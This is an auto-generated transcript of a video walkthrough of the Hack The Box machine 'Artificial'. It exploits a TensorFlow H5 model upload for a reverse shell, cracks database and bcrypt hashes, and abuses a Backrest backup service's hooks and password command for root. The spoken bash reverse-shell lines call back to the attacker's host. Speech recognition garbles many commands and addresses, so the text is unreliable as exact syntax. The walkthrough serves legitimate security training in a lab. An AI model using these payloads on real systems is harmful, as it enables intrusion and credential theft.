text: What's going on YouTube? This is IPSC and we're doing an artificial from hack the box which is a nice easy box starting off with a web app coded in flask that lets users test their TensorFlow H5 models. Googling this reveals we have a path to code execution through writing a malicious model and with the shell we dump the database crack credentials and gain access to another user which has access to a backup file of the back rest application. Cracking the password in this lets us access the backup application which will almost always result into a complete compromise because gaining access to the backup application means you gain access to all the company files. You can either find secrets in the backups or just command it to back up something sensitive and restore it. We'll exploit the backup application three different ways. So let's just jump in. As always we're

video_id: uGgnWQaG-bA

title: HackTheBox - Artificial


text: going to begin with the end map. So - sc for default scripts. SV enumerate versions vv for double verbose. This gives us things like the TTL OA up it all form in the end mapap directory and call it artificial and then the IP address of 101011.74. This can take some time to run so I've already ran it. Looking at the results we have just two ports open. The first one being SSH on port 22 and the banner tells us it's an Ubuntu server. We also have HTTP on port 80. The banner tells us it's engine X also running on Ubuntu and it's directing us over to the host artificial.htb. So, let's go ahead and add this to our host file. So, pseudo v etsy host and then 10 10 1174. Put in the artificial.htb.

title: HackTheBox - Artificial


text: Save this. And let's go take a look at the website. So, we're going to go to http 10 10174. And this will redirect us to artificial.htb. And we get a page. So, the first thing I always like doing is just looking at the source, seeing if there's anything I recognize at the top, like a WordPress or Jumla or something like that. I don't. The next thing I like doing real quick is just going to a 404 page. And this one looks like the Flask 404. If you can't identify this, um, OXDF has a good cheat sheet. If you just Google like OXDF 404, um, this should go up to like the default 404 pages. Actually, I clicked on his LinkedIn. Let's just do cheat sheets. And then where is it? Default 404. We can search for that string. And we see that is going to be Flask that um, gives us this default 404. So we

title: HackTheBox - Artificial


text: know we're dealing with a Python application. Doesn't really help us that much, but um it is just nice to know. So looking at this, we see a page. It looks like it's doing some type of TensorFlow thing and we're giving a H5 model. Um if we go to login, it looks like we can create an account. We probably could also just clicked register, but I'm going to create the account IPS do root at.ro and a password of password. Looks like that let us in. We can log in now and let's see what we have. So it looks like we can upload models. Um please ensure the requirements. Let's see. Uh it's just a requirements.ext. Let's move downloads requirements at it. Uh it looks like it wants to use TensorFlow 2131.

title: HackTheBox - Artificial


text: And then they also give us a Docker file. So, I'm going to copy this link. Let's w get this just so we don't have to move it later. And we can look at what this Docker file is. And it's just running Python 38 Slim. And looks like it will be downloading um TensorFlow and setting it up. So, I'm assuming the step is going to be um creating a malicious TensorFlow model. And part of the reason I think Hack the Box included this Docker file is to ensure everyone's on the same Python version. because when you're doing these type of exploits and uh creating serialized payloads, the Python version matters a lot because if the server is running Python 38 and you're running Python 311 and you make your model, it may not work on the target. So, it's always important to try to enumerate what version of Python is running on your target when you do some

title: HackTheBox - Artificial


text: um exploits, right? So, let's go ahead and build this docker file. So, I'm just going to do a docker build dot I'm going to give it the tag um artificial. And we don't have to give it the tag. Um the whole reason I'm doing it is because it makes it um it's just dasht t for tag.

title: HackTheBox - Artificial


text: Um it makes it easier to reference because we don't have to give it the um random ID from the images, right? So, I like giving it a tag because it just makes it easier. Um let's see. I'm going to Google what is it? TensorFlow H5 um rce I guess we could do to see how to create a malicious model. I'm saying H5 because that's what the um example provided. If I click on this browse, it's also looking for H5 files. So um there's a good chance that this is what we want to create. We go to this GitHub and we'll see what is here. Looks like we have exploit used to create a malicious model with a reverse shell.

title: HackTheBox - Artificial


text: That's probably what I want. So, let's just go click on raw. Makes it easier to copy and paste. Um, our Docker is still building. I'm just going to call this exploit.py. We'll put this in. And I'm going to change up this system command. Let's just comment this out real quick.

title: HackTheBox - Artificial


text: And what I want to do, whoops, is do the reverse shell I normally use.

title: HackTheBox - Artificial


text: This one will probably work. Um, it depends if netcat is on the box. And this one I'm going to change it to will depend if bash is on the box. But um this is the payload I just like using. So we'll do bash- c b- i dev tcp 1010 10148. Whoops. 148 91 0 and one. Close out the single quote double quote. That looks good. Um and also if this doesn't work then I try other payloads first. I'd probably just try pinging myself to see if the ping works. Um but we'll just start with the vers shell first. Here uh we have the docker image created. So let's go ahead and run that. So I'm going to do a um docker run and then we can say artificial and let's see what do we want to do. We want to give it the interactive terminal flags. So that's it. I'm also going to do I want to say it's lowercase v for volume and we're going to mount a current working

title: HackTheBox - Artificial


text: directory in /mount of this container. So now when I run this um unable to find image artificial. Did I typer that? I did. I don't have the I there. So let's just copy and paste. There we go. So now we're in um if I didn't do that interactive terminal. Um if we just did this, it doesn't give us a shell because it's not expecting the command to be interactive at the end. So it just kills it. And then if we do a docker ps, it's not even running, right? We could do ps- a um docker logs charming uh bens. Nothing's there. Right? If we do docker logs wonderful or is that German or something, we can see uh everything I type there. Uh also, if you don't give it the interactive flag, um it'll still work. it's just not going and don't give it the terminal flag. It still works. It's just not a good pseudo terminal and we don't have that bash prompt um showing up. So, I always like using the it. But the key

title: HackTheBox - Artificial


text: thing is using that -v to um map our current directory into /mount because it just makes it easy to copy files back and forth between the container. So, if we look at the exploit.py, this is what we just copied from GitHub. We see it's going to import TensorFlow. We're going to create a malicious lambda layer and then compile it and give it this H5. And this is where it's actually going to run the code and we're going to import OS and run OS system to get a reverse shell. So let's do Python 3 exploit.py. This is going to create that model.h5 file hopefully. Um it also tries to run the code. We don't have the reverse shell so connection is refused. If you were running a reverse shell, um, this command would probably hang. Uh, let's just do this real quick. So, if we did in like a new pane, this could probably

title: HackTheBox - Artificial


text: trick some people. Um, and then we go ahead and run this. We see it's just not finishing, right? And that's because it connected and it's not going to finish until this is dead, right? So, um, I would highly recommend when you create this file, don't have the reverse shell running because it'll just go a little bit quicker. uh but we now have that H5 file which is a serialized payload for TensorFlow. So when we go ahead and upload it. So let's go to HTTP artificial exploit upload model. Uh we probably want to start our reverse shell now. And let's see if we do view predictions of the model. It hangs. And we get a shell. So let's do Python 3- C import pty pty spawn bin bash.

title: HackTheBox - Artificial


text: Then let's see. We can background this. STY raw minus echo foreground. Enter.

title: HackTheBox - Artificial


text: Enter. And let's see. Now we are um on the box. Let's just export term is equal to xterm so I can clear the screen. So whenever I pop a web application, I always always like going for the database. So let's just do a find-ash type f to list files on this web server. And we see a users db. We could have also probably just looked at app.pay and saw how it was accessing the database, but let's go into instance and then we can do SQL3 um users db.dump.

title: HackTheBox - Artificial


text: And we can see the user table has what we're after, right? We have some hashes here. So let's go ahead and um do a select username password from user and that sucks. Oh sweet I guess the number of things to go through. Um my terminal had like went too far over and then started going backwards. If you want to fix that, uh, you can do an STYA right here, dash A, and you want to get the rows and columns. So, 26121, and we can do STY rows 26, columns 121.

title: HackTheBox - Artificial


text: And that fixes it. So, now when I do a long line, it doesn't start wrapping down prematurely. But we now have a list of hashes. So, let's go ahead and try to crack these. So, let's go to um the Kraken. This is just a box I have on my local network. I don't recommend if you're running hashcat just do it on your host machine. Don't do it in a VM because it's going to go slow. But let's do hashes. Um this is artificial dot let's call it MD5. Put this in. And then I'm going to do a search and replace on pipe. And we'll replace it with a semicolon. Uh that's not what I want.

title: HackTheBox - Artificial


text: Let's see.

title: HackTheBox - Artificial


text: Uh, percent s. Do I not escape? Okay, I was not supposed to escape the pipe. There we go. So, can't open file for writing.

title: HackTheBox - Artificial


text: What?

title: HackTheBox - Artificial


text: Um, is my disc full? It is not artificial MD5 sum. Paste save.

title: HackTheBox - Artificial


text: Um do I have a file system error or something? Mount D- O Remount RW slash touch hashes temp.

title: HackTheBox - Artificial


text: Oh wait, I did not go to my hashcat directory. There we go. That was embarrassing, but oh well. Let's do percent s pipe colon like that. Save. Awesome.

title: HackTheBox - Artificial


text: So let's do dot /hashcat um that file opt word list rocku and it's going to probably have a bunch of like hash collisions because this could be many things. Um we also have to give it the d- user flag because we have username colon the hash. Um but we're guessing this is probably going to be MD5 hash. So let's do um mode zero and this will start cracking MD5s. So hopefully it goes relatively quick and we got three recovered. So let's do a um dash user show get rid of this word list um is it d-show mode zero. There we go. So, we have Gail's password, um Royo's password, and of course, my password. So, let's go ahead and try Gail. So, let's go SSH Gail at uh was it 10101.74 of put in this password and we get logged in. Awesome. So, now we are um Gail on artificial. Since I have a credential, I always like just checking pseudo. And it looks like we can't run it on the box. So let's do

title: HackTheBox - Artificial


text: apef-us to look at running processes. And we only see the processes on our user. If I cat etsy fs tab, we can see that the proc is mounted with hide pit equals 2.

title: HackTheBox - Artificial


text: And that's what um prevents us from seeing other users processes. So we can't do that. We could do an SSLTP and look at other ports listening. We see port 9898 is listening. So I'm going to just do a curl 127 001 9898.

title: HackTheBox - Artificial


text: Uh we have a binary file. Let's do o dash. Um this is odd. We see index html. So I'm guessing this is web but we got junk. Um let's do dashv. Okay. It's encoding it in gzip. So that's why we don't really see it. It's in gzip format, so that's kind of expected. So, this is a web server. Um, the other thing I like doing is we can go to Etsy, um, GP for 9898 here and see if we can find out what service is running it. Um, let's do two dev null to hide errors. Um, doesn't look like we have anything, just SSH moduli repeated. Oh, wait. Here we go.

title: HackTheBox - Artificial


text: We have systemd system back rest service. So that is what is listing here. It is going to be an application called back rest. We can just cat it to see if it gives us any information. Um doesn't look like it. We have the config right here. See if we can read this config. Cat slash permission denied. So can't really read anything. Uh but we can try to forward that port. So if the first thing on the line is squiggly c, it'll drop you in this command prompt. And we can do a dash d1080 to set up a sock proxy. And then I'm going to go over to my Firefox. I'm going to um do socks. And we can do HTTP 127001 98 98. Uh no. Um we actually want to do the boxes IP 101 uh 74.

title: HackTheBox - Artificial


text: Unable to connect. probably because it's going through the sock proxy and trying to connect to that IP. Uh 001. This may not work because I'm not sure if my um proxies configured to like ignore 127001. Nope, it seems to work. Awesome. So, we sent it through the sock proxy and then we're hitting 127001 98898.

title: HackTheBox - Artificial


text: Um, another thing you could do is like a local port forward. So we could um do like -L and then say um 9898127001 9898. And what that would do is open 98.98 on my box and then forward it through the SSH session. It would be open up 9898 on my box and then for it through the SSH session and hit this. Right? If we look at it now SSLTP, we're not listening on that port. Um, what I'm going to do to show this, let's do it on port uh 9009, right?

title: HackTheBox - Artificial


text: Uh, let's do L-L 9009 when we did 9889 9898.

title: HackTheBox - Artificial


text: I guess we'll do 9889. So now if I do this SS, we see I'm listing on 9889. If I try to access this here, it's not actually going to work, right? Because I'm going through the sock proxy in order to access it. So I'm going to take the sock proxy off. And now I'm actually going to hit localhost on my box and we'll get to the back rest service. So two ways to do the same exact thing. Um hopefully that doesn't really confuse you, but um you should be familiar with tunneling and SSH proxies and things like that. Uh let's see. We're at a login prompt for this. And we don't have any credential. We could look for like CVES and back rest. Um, but we could also see what's on this box. So, I always like running a find um slash user gale. Let's do two devnull to hide um various things. I'm going to grapv. We don't want to see things in procis

title: HackTheBox - Artificial


text: and probably run. I think these are three things we should exclude. Um, and we don't see anything really interesting here, right? These are just files um, my user has. If I try to c this, uh, oh, that was even my history. For some reason, I read that as bash history, but that's, um, bash rc. Did I just copy the wrong thing? Do we have a bash history? Bash history. Nothing there. There is a python. Nothing there. SQLite. That's probably going to be my SQLite dump command. Uh, no. Um, so just empty files. Those may actually be pointed to devnull. If we do lsla home gale, yep, those are pointed to devnull. So what else can we do? If we look at the groups where we're part of cisadmin, cisadmin can generally read log files. Um, let's do find slash-group cisadm again to dev null and see what is here. Um,

title: HackTheBox - Artificial


text: what is under varlog? I thought it was that.

title: HackTheBox - Artificial


text: Oh, it's ADM that can generally read logs. Um, I guess the uh groups says ADM is probably a unique group. Let's cat Etsy group. Yeah. So, the UID or GD in this case is above 1,00. So, this is going to be a user created group. This isn't default on Linux. Um, so we have the CIS ADM and that could read a backup file, right? Is that what I saw? So, let's go here. It is. So, let's do ver backups. Uh, we have a backup uh back rest backup. So, I'm going to copy this over to dev shm. Let's go in there.

title: HackTheBox - Artificial


text: Then we can do tar xvf on that file. And let's see what does look good. Uh we have a config.json. So let's go ahead and view this. And we see the name is root. And then we got a password brypt. And this um normally brypt begins with a dollar s dollar. Um this does not. I'm guessing this is going to be b 64 encoded though just because it looks like b 64 to me. So, let's do a echo-N b 64-d. And there we go. We have a uh b-crypt hash. So, let's go ahead and copy this. I'm going to SSH over to the Kraken. And uh we'll do cd hashcat.

title: HackTheBox - Artificial


text: Let's not forget this one. And then we can say v hashes artificial.

title: HackTheBox - Artificial


text: BCrypt. Paste this in. And then let's do dot slash hashcat this opt word list rocku.ext and see what cracks. Um brypt is a relatively I was going to say we shouldn't get any hash collisions but of course we do. Uh let's just do mode 3200 because that looks like what will be most likely. So we're initializing the backend runtime. And this should crack relatively quickly hopefully. Let's see.

title: HackTheBox - Artificial


text: It's taking its time. It has started. If I do a status, how long can it potenti Oh well, it's done. Uh let's go up and we get the password.

title: HackTheBox - Artificial


text: So it is going to be uh looks like a keyboard walk. Yeah, 1 through six with shift. And if we look at SSH, the username is back rest_root. So let's go ahead and try this. And we get logged in.

title: HackTheBox - Artificial


text: Awesome. So this is a backup application. We have repositories and plans. If I try to create a plan first, um we'll eventually need to create a repository. So let's create the repo first. And let's just do repo one, I guess. Um the URI I'm going to put it in dev shm. We need to give it a password.

title: HackTheBox - Artificial


text: I'm just going to give it the password of password. And we create this repo.

title: HackTheBox - Artificial


text: and then we'll be able to add a plan. So, let's do um plan one. And we're going to do the easy thing of just backing up. Let's do um slashroot, right? And then if we click submit, go here, click backup. Now, we should be able to back up root. And then let's see, there's probably a way to download files, right? No status. Snapshot browser.

title: HackTheBox - Artificial


text: I don't think this is what I wanted. Uh, let's do root.ext.

title: HackTheBox - Artificial


text: Restore to path. There's got to be a way to download. Where is it?

title: HackTheBox - Artificial


text: Scheduled. See our snapshots. Backup details.

title: HackTheBox - Artificial


text: So this is the log it ran.

title: HackTheBox - Artificial


text: I just clicked this restore to path. The downside is if I restored a path, we can show real quick. I'm pretty sure it's going to keep the uh permissions, right?

title: HackTheBox - Artificial


text: So if I do, let's do dev. Oh man, this is annoying. I remember this dev. The um JavaScript there on that is just so annoying. Let's do dev shm please sub I guess. Put it on my clipboard. Restore to path.

title: HackTheBox - Artificial


text: Put it here. Restore. Confirm. And if we look here we have please sub but it's owned only by root. So we can't really go in there. Um, I had before.

title: HackTheBox - Artificial


text: Oh, there we go. I guess after we restore the web interface gives us a way to download the archive, which is weird. Um, maybe that's what I was doing before. Uh, but we just download the archive. What was the name that we downloaded?

title: HackTheBox - Artificial


text: Uh, archive dash. So let's move downloads archive here to our XVF archive and we get root.ext. It also had an ID RSA. So we could do that and use the SSH key. But there's a lot of things we could just do in this backup application. Right? So we have showed um just downloading the backup but also when we create a plan, let's do plan two. Uh let's give it a repository. Give it a path. I'm just going to do dev shm. We don't really care about the path here because there's a hook and we can say, hey, run a command. So, I'm going to do bash- c b- i dev tcp 1010 148 9,0001 0 and one like that. And then run when um condition. Let's do check start check success check error. Sure. Uh, submit.

title: HackTheBox - Artificial


text: NC LVMP 90001. Let's see. Plan two. Let's run this backup. Uh, backup now. Hopefully, we get a shell.

title: HackTheBox - Artificial


text: We did not. Maybe because I clicked back up now. Um, that may be it. Maybe like because when we click backup now, it may not check if it's scheduled or running. That's probably going to be the case. So, let's see. Let's get this to run every hour.

title: HackTheBox - Artificial


text: And what time is it on this box? Um, T-Mox date. It is 8:15. So, let's do Where is minute? Where was I? Okay. What did I say? 15.

title: HackTheBox - Artificial


text: So, we'll say 15 16 17 18.

title: HackTheBox - Artificial


text: Okay. Submit. Scheduled waiting. And hopefully now it'll run the command. So, backup details not there. I guess we could also edit this to um like run a command on error and then that would also probably work because we could just back up a location that doesn't exist. Um but I'm hoping this runs very soon. Let's go here. Refresh the page. Still don't have a shell. It is in the waiting state. Plan two. Yes. Cron every hour. Yeah, that should be good. Bash C B- I 10 1048 91.

title: HackTheBox - Artificial


text: That looks fine. Maybe we just wait a full minute.

title: HackTheBox - Artificial


text: Uh, looks like it's running. And we did not get a shell. Um, that definitely worked for me before. I am not sure what's going on there.

title: HackTheBox - Artificial


text: Maybe we also have to do it maybe I did in the repo. If we edit this repo, um there is a hook here as well. So let's put it here. B- c- i dev tcp 1010 148 9,000 1 0 and one runs when uh condition. Let's just click everything we can quickly. Sure.

title: HackTheBox - Artificial


text: Yes. You're running a lot. Submit.

title: HackTheBox - Artificial


text: Back up now. Okay. I guess if we do it at the repo, then it just magically works. Um, not exactly sure why, but that's another way we could do it.

title: HackTheBox - Artificial


text: Let's do it one more time. Um, we'll just do the reverse shell on a different port.

title: HackTheBox - Artificial


text: So, if we went back over here in our backup job, uh, wait, it wasn't here. Where is it? There's this run command feature.

title: HackTheBox - Artificial


text: And if we do a help, um, it's going to do opt restic back restic.

title: HackTheBox - Artificial


text: So, we could stand up restic on our local box and then back up a file. And that's going to be how like GTFO bins does it. If we search this look at restic um on any of these modes, it's going to uh you give it a file and then this and it's going to copy that local file to your box. We'd have to use docker to stand up an instance of restic in order to get that to work because um it's a different protocol than just like sending the file. But there is something else that gtf opens is not showing. And if we look through everything there is what is it a password command. So shell command to obtain repository password. So we can just run this command as well.

title: HackTheBox - Artificial


text: So if we just do a password command and then bash- c- i dev tcp 1010 10148 90002. And the reason why I'm doing 9,0002 here is I have a shell running every minute to get back on 9,0001. So, I don't want that to be like a false positive, right?

title: HackTheBox - Artificial


text: Let's do nvnp 90002. Execute this.

title: HackTheBox - Artificial


text: Uh, we may have to do like another command, right? Uh, what if we just do like check? Is that going to work?

title: HackTheBox - Artificial


text: Uh, it's hanging. And there we go. We have the shell. So, um, that is another way to do it. I'm sure there's going to be more ways you can pop back rest, but um, yeah, those are going to be the three I wanted to show. And that's the video. So, hope you guys enjoyed it. Take care and I will see you all next time.

title: HackTheBox - Artificial